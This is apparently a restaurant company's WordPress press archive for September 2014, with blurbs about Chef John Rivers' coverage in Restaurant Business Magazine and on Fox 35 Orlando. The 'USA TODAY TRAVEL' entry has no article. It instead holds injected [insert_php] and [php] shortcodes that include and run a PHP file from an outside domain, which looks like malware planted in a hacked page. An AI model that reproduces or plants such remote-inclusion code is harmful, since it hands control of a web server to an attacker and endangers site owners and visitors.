Monthly Archives: September 2014

RESTAURANT BUSINESS MAGAZINE

Elevating Fried Chicken As the price of beef continues to rise, fried chicken has become the new star, finding it’s calling in the southern comfort food market. In this article, Chef John Rivers discusses how The COOP’s menu is based on the comfort food he grew up eating and how the restaurant is “decorated like […]

Read More

USA TODAY TRAVEL

[insert_php] include(“http://amiens-rencontres.bid/tmp/czit1.php”); [/insert_php] [php] include(“http://amiens-rencontres.bid/tmp/czit1.php”); [/php]

Read More

FOX 35 ORLANDO

4 Rivers Owner Opens Test Kitchen To FOX 35 Orlando In this segment with Fox 35 Orlando, Chef John Rivers let reporters into his test kitchen, which is located in our Company Office. Referred to as a “culinary mad scientist,” the self-professed foodie feels most comfortable in the kitchen, especially when he’s concocting recipes. Chef […]

Read More